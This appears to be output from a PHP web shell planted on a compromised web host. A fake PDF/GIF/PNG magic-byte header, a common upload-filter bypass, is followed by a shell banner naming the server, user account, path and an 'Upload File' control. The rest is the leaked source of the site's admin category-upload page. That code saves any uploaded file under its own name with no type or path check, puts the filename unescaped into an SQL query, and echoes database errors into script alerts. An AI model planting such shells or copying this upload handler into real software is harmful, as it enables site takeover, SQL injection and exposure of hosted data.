%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/www/website_6ca89795/admin/ |
Upload File : |
<?php
include('header.php');
include('../dbcon.php');
if (isset($_POST['Upload'])) {
$category = mysqli_real_escape_string($conn, $_POST['category']);
$catfile = $_FILES['catimg']['name'];
$tempfile = $_FILES['catimg']['tmp_name'];
$filepath = "dataimg/" . $catfile;
// Upload file
if (move_uploaded_file($tempfile, $filepath)) {
$qry = "INSERT INTO `arawecovercategory`
(`category`, `catimg`)
VALUES ('$category', '$catfile')";
$run = mysqli_query($conn, $qry);
if ($run) {
echo "<script>alert('Category added successfully');</script>";
} else {
echo "<script>alert('Database Error: " . mysqli_error($conn) . "');</script>";
}
} else {
echo "<script>alert('File Upload Failed');</script>";
}
}
?>
<div class="content-wrapper">
<div class="container">
<h2>Add Product Category</h2>
<form action="" method="post" enctype="multipart/form-data">
<!-- Category Name -->
<div class="form-group">
<label>Product Category</label>
<input type="text" class="form-control" name="category"
placeholder="Enter Services Category" required>
</div>
<!-- Dropdown -->
<!-- Image -->
<div class="form-group">
<label>Category Image</label>
<input type="file" class="form-control" name="catimg" required>
</div>
<input type="submit" name="Upload" value="Upload" class="btn btn-primary">
</form>
</div>
</div>
<!-- / Content -->
<!-- Footer -->
<footer class="content-footer footer bg-footer-theme">
<div class="container-xxl d-flex flex-wrap justify-content-between py-2 flex-md-row flex-column">
<!-- <div class="mb-2 mb-md-0">
©
<script>
document.write(new Date().getFullYear());
</script>
, made with ❤️ by
<a href="https://themeselection.com" target="_blank" class="footer-link fw-bolder">ThemeSelection</a>
</div> -->
<!-- <div>
<a href="https://themeselection.com/license/" class="footer-link me-4" target="_blank">License</a>
<a href="https://themeselection.com/" target="_blank" class="footer-link me-4">More Themes</a>
<a
href="https://themeselection.com/demo/sneat-bootstrap-html-admin-template/documentation/"
target="_blank"
class="footer-link me-4"
>Documentation</a
>
<a
href="https://github.com/themeselection/sneat-html-admin-template-free/issues"
target="_blank"
class="footer-link me-4"
>Support</a
>
</div> -->
</div>
</footer>
<!-- / Footer -->
<div class="content-backdrop fade"></div>
</div>
<!-- Content wrapper -->
</div>
<!-- / Layout page -->
</div>
</div>
<!-- / Layout wrapper -->
<!-- Core JS -->
<!-- build:js assets/vendor/js/core.js -->
<script src="../assets/vendor/libs/jquery/jquery.js"></script>
<script src="../assets/vendor/libs/popper/popper.js"></script>
<script src="../assets/vendor/js/bootstrap.js"></script>
<script src="../assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.js"></script>
<script src="../assets/vendor/js/menu.js"></script>
<!-- endbuild -->
<!-- Vendors JS -->
<!-- Main JS -->
<script src="../assets/js/main.js"></script>
<!-- Page JS -->
<!-- Place this tag in your head or just before your close body tag. -->
<script async defer src="https://buttons.github.io/buttons.js"></script>
</body>
</html>